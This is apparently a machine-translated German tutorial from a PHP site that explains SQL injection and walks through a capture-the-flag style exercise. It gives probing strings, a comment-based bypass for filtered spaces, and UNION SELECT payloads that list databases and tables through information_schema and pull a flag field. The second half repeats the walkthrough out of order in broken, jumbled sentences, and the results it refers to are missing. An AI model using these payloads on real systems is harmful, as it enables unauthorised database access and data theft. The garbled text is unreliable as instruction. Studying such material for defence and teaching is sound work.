Bei der sogenannten SQL-Injection werden SQL-Befehle in Webformularübermittlungen eingefügt oder Domänennamen oder Abfragezeichenfolgen für Seitenanfragen eingegeben, wodurch der Server letztendlich dazu verleitet wird, bösartige SQL-Befehle auszuführen. Als Nächstes teile ich Ihnen eine einfache SQL-Injection mit. Werfen wir einen Blick darauf
Die sogenannte SQL-Injection besteht darin, SQL-Befehle in Webformularübermittlungen einzufügen oder Abfragezeichenfolgen für Domänennamen oder Seitenanforderungen einzugeben, und zwar letztendlich den Server täuschen. Konkret geht es um die Möglichkeit, vorhandene Anwendungen zu nutzen, um (bösartige) SQL-Befehle zur Ausführung in die Backend-Datenbank-Engine einzuschleusen. Sie können Informationen über eine Website mit Sicherheitslücken erhalten, indem Sie (bösartige) SQL-Anweisungen in eine Web-Datenbank eingeben als die vom Designer vorgesehene Ausführung von SQL-Anweisungen. Beispielsweise haben viele frühere Film- und Fernsehwebsites Passwörter für VIP-Mitglieder preisgegeben, meist durch die Übermittlung von Abfragezeichen über WEB-Formulare. Solche Formulare sind besonders anfällig für SQL-Injection-Angriffe.
Geben Sie jeweils 1, 2 und 3 ein und es werden entsprechende Ergebnisse angezeigt.
Die Verwendung von ' meldet einen Fehler, sodass
konstruiert wird häufig verwendete SQL-Anweisungen: 1' und '1'='1
Keine Antwort Versuchen Sie 1' und '1'='2
Immer noch keine Antwort, Tooltip, es sollte etwas gefiltert werden, versuchen Sie, die SQL-Anweisung zu ändern, die
1and1=1
anzeigen kann Dinge, nachdem wir die Leerzeichen beurteilt und gefiltert hatten, verwendeten wir /**/ um Leerzeichen zu ersetzen
versuchen Sie 1'/**/'1'='1
Ein Ergebnis gefunden:
Dann die SQL-Anweisung erstellt:
Bestimmen Sie, welche Datenbanken vorhanden sind:
1'/**/union/**/select/**/schema_name/**/from/**/information_schema.schemata/**/where/**/'1'='1
Sie können die Ergebnisse sehen:
Sehen Sie, welche Datentabellen es gibt:
1'/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/'1'='1
Die Flag-Tabelle wurde gefunden. Wir vermuten, dass sie sich in der web1-Datenbank befinden sollte und das Feld ist flag (eigentlich in der Datenbank auf dieser Seite)
Also:
1'/**/union/**/select/**/flag/**/from/**/web1.flag/**/where/**/'1'='1
Keine Antwort, versuchen Sie es mit 1' und '1'='2Immer noch keine Antwort, Tooltip, so sollte es sein Filtern Sie etwas, ändern Sie die SQL-Anweisung und versuchen Sie es mit 1and1=1. Nach der Beurteilung werden die Leerzeichen gefiltert.*/Und/**
1'/**/union/**/select/**/schema_name/**/from/**/information_schema.schemata/**/where/**/'1'='1
1'/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/'1'='1
Sie können das Ergebnis sehen:
1'/**/union/**/select/**/flag/**/from/**/web1.flag/**/where/**/'1'='1
Überprüfen Sie, welche Datentabellen vorhanden sind:
Wir Ich habe die Flag-Tabelle gefunden. Die Vermutung ist, dass sie sich in der web1-Datenbank befinden sollte und das Feld flag ist (eigentlich in der Datenbank dieser Seite)
Also:Das obige ist der detaillierte Inhalt vonEinfache Beispiele im Zusammenhang mit der SQL-Injektion. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!